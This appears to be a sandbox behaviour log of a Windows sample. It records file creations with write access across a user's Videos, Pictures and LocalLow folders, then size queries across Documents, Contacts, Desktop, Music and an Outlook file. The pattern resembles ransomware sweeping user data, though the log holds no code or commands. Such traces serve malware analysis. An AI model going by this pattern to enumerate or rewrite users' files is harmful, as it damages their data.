Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nhszPrwAyFP3\OJ7g4MMeWuj05DP.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\1NyKTTnONVZsk.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\DzCCnOnzxDqfuj.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\jsWtpdCwPYsyb9M.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\lFpYY8gUsJM4.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\sN0C0aYPZzpc_DWHdG_S.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\V99IOj.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\ci6IimcnO8zr.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\Ik6r7vA49Vf_2LVqLE.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\MLRf.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\NjbUt_t.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\r5kMtufRwXsgtBq.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\LnHpzG.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\7iohC33skm1MLtj_zsU.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\7zAHSAO8Qhdnj4k.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\aW1PsgN2xsPJR.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\SG-TcXI2gXzZiahbe.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\u8 nslHY.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Adobe\Acrobat\10.0\rdrmessage.zip desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\index.dat desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.cab desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.msi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\Deployment\deployment.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\Data1.cab desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\jre1.7.0_45.msi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\6rXGcCpaY5U-.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\befSSIGEkkRUG.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\rzr43Df_s8poAvL8Y1F.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\3HBQ5DQDTXX2Dst.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\4bEPE_RVfAAsyMzt6.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\9uanRu7vegqQifTY.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\VqBAzwGqo.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\Ti8zEuhb9G6\SqhwCUV_7QQ.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\Ti8zEuhb9G6\ydXSSVPNKJrpO.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\36USA68T\imagesrv.adition[1].xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\3O75JDME\www.google[1].xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\VGMTOI09\www.msn[1].xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\K-e0Wu\CS68tY4DDQ.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\K-e0Wu\f5IF7l Fg-1E1w\ZgtF5NqrWfjyLW0T3.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\K-e0Wu\f5IF7l Fg-1E1w\ZIdWI VbebKgRLmaFag.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Get Info C:\SystemID\PersonalID.txt type = file_type True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact type = size, size_out = 1178 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact type = size, size_out = 68382 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact type = size, size_out = 1171 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact type = size, size_out = 1177 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact type = size, size_out = 1174 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact type = size, size_out = 1172 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\-args_Zs.swf type = size, size_out = 12935 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\6E-An34Wc.pps type = size, size_out = 19849 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\6SGcgdd.wav type = size, size_out = 51891 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\7SFmX9n.mp3 type = size, size_out = 60149 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9fAUwhZz7XQ47.flv type = size, size_out = 6777 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\al9QtC.gif type = size, size_out = 33803 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\chaznO Q_Ziy0yX2s.ots type = size, size_out = 25526 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe type = size, size_out = 598016 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Dnuc8.swf type = size, size_out = 87852 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\E_g7Iz0.flv type = size, size_out = 95482 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\g-yKu99NgX3E1avh.flv type = size, size_out = 8115 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\gHQF.mp4 type = size, size_out = 72371 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\GL6BHNKrZbqTT.mp3 type = size, size_out = 77911 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\JIZ4scK0VOvc.jpg type = size, size_out = 51558 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k1dd.gif type = size, size_out = 21273 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\M3MLVH7xcPc.jpg type = size, size_out = 101712 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nbzD8p.wav type = size, size_out = 11935 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\OQQNDY6qNZHsM.flv type = size, size_out = 44063 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ote7kPgqRa 0Oya j.avi type = size, size_out = 4696 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\PnL6Zh.flv type = size, size_out = 79884 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rIBC47zYWHDhfd7P7Cw0.png type = size, size_out = 99413 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\RrZY-uYtP04ki0fgCu.rtf type = size, size_out = 7644 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\RWHWfhMg5DcKSbU8_U.bmp type = size, size_out = 70075 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\veEwU3WXHMSpQmMMV.mp4 type = size, size_out = 61211 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Z6w5rSJNmosnOqNY.png type = size, size_out = 42094 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ze0Y.avi type = size, size_out = 3411 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\-gxq8.pptx type = size, size_out = 72130 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\81kerGqg6_j2b6.pptx type = size, size_out = 9434 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\95fISoK jESPo8EvK8TF.docx type = size, size_out = 38181 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\cv2QjF4C3ccq--VP.xlsx type = size, size_out = 13215 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\DavXsI9enkQSR.pptx type = size, size_out = 97432 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ilqiF.odp type = size, size_out = 18828 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\jdj STUTpip.ots type = size, size_out = 100755 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\j_udvQCV.xlsx type = size, size_out = 7016 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\kei5.docx type = size, size_out = 23957 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\kX2tA98.odp type = size, size_out = 100216 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\L7nPtbAUFXsB.xlsx type = size, size_out = 4748 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\NkSC620KY1G.xlsx type = size, size_out = 39647 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OwRe9Z9bAXQhesUnEazF.doc type = size, size_out = 81679 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\pKUj8876P.docx type = size, size_out = 21952 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\PxpzY_JBUc8.ppt type = size, size_out = 67101 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\RWDHO0IzJxGN9pWG.pptx type = size, size_out = 84648 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ToYMawRVB8dOMOTUs.docx type = size, size_out = 100130 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U3qy.pptx type = size, size_out = 56478 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U9 Gu49ZvH33.docx type = size, size_out = 91812 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\VW61dc17V6x.pdf type = size, size_out = 35387 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\wKt8pNbMIBpNV1.docx type = size, size_out = 48648 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\x-dfNPgeB.pptx type = size, size_out = 60839 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\XSVP9deEn8lAX Ja.ppt type = size, size_out = 93653 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ZUzJ97kgSmpFwdzhg.pps type = size, size_out = 1932 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_f1HsCMD.ots type = size, size_out = 77566 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_i_MHuX.xlsx type = size, size_out = 68119 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_jD_3EsBV.pdf type = size, size_out = 85644 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\2TTN4vHH6T.wav type = size, size_out = 84347 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\3TE1MNOOt738p.m4a type = size, size_out = 39755 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\7N2xpAEAZRgVp.m4a type = size, size_out = 72017 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\BKfdC5oaIRvpZH6X7.wav type = size, size_out = 90631 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\ejdJB5Su3HZ_V.mp3 type = size, size_out = 25677 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\LDJP8fU.m4a type = size, size_out = 68564 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\vGLyTV3-l9LaIg.mp3 type = size, size_out = 65466 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\WeVqD nbZp92oNA.m4a type = size, size_out = 38511 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\wvHO9AOpGnVIgBmE4Z.m4a type = size, size_out = 33349 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\xAv5C.mp3 type = size, size_out = 33818 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\y5PNwRSJ-BzEU_pWoMG7.wav type = size, size_out = 54493 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\zlWIzi2Amt.mp3 type = size, size_out = 32299 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\vs4jAA0 zd1HqzIZFr.gif type = size, size_out = 50434 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\-8vn9TCLWYBRe.avi type = size, size_out = 58266 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\dDZIFmz5oUjH6dudt.avi type = size, size_out = 46741 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\iLHPbBavnh_-fnnaZkXR.flv type = size, size_out = 66982 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\wxzc0rq6VHwTta.swf type = size, size_out = 77228 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\_6jk0hB.avi type = size, size_out = 93374 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\1i2rrq2gY8nQI1n1s3.jpg type = size, size_out = 37068 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\2i1vmdTQBze3Oqp_rHR.mp3 type = size, size_out = 38963 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\2q_u.mp4 type = size, size_out = 8444 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\5Ka6.jpg type = size, size_out = 56272 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\FDSheH9RWpg6rD.mp3 type = size, size_out = 43157 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\km4Z_piC-Thg5BA.mkv type = size, size_out = 28534 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\kwu4Zgrqa-j.wav type = size, size_out = 58055 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\L2lRvkk38ZbjI6t.wav type = size, size_out = 3073 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\m 3MWBBW.wav type = size, size_out = 45007 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\QdsM.bmp type = size, size_out = 63218 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\seA7TG2NfEjVmCk47L.swf type = size, size_out = 53660 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\tAm2MqanHQ.mp4 type = size, size_out = 74609 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\UFvFkY3N9hbJPN MXkkx.wav type = size, size_out = 36341 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\wYQXyL4TNJyXDwt.xls type = size, size_out = 47681 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\XECTs3JItZ.pps type = size, size_out = 60770 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\_vK1Qkjp_rOYPZZA.avi type = size, size_out = 39236 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\Favorites.vss type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\cWhuivOd.ods type = size, size_out = 10531 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\IrPWAmnZ4jkLi8.xlsx type = size, size_out = 53526 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\nI-a EyZHIqzRrkt2.pdf type = size, size_out = 53341 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\oyegcKVpN.pdf type = size, size_out = 84406 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\qHHCf1DuRREhYQ07.ods type = size, size_out = 63835 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\S5Y2z-QfT_jhbg-.doc type = size, size_out = 58183 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst type = size, size_out = 271360 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Suggested Sites.url type = size, size_out = 236 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url type = size, size_out = 226 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE Add-on site.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE site on Microsoft.com.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Work.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url type = size, size_out = 134 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Autos.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Entertainment.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Gallery.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Spaces.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\0Qf-sRlRO YRMK9.wav type = size, size_out = 45913 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\6HV_cSvNUwVhwYq.wav type = size, size_out = 84575 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\953YBi3u.mp3 type = size, size_out = 63324 True 1
Fn
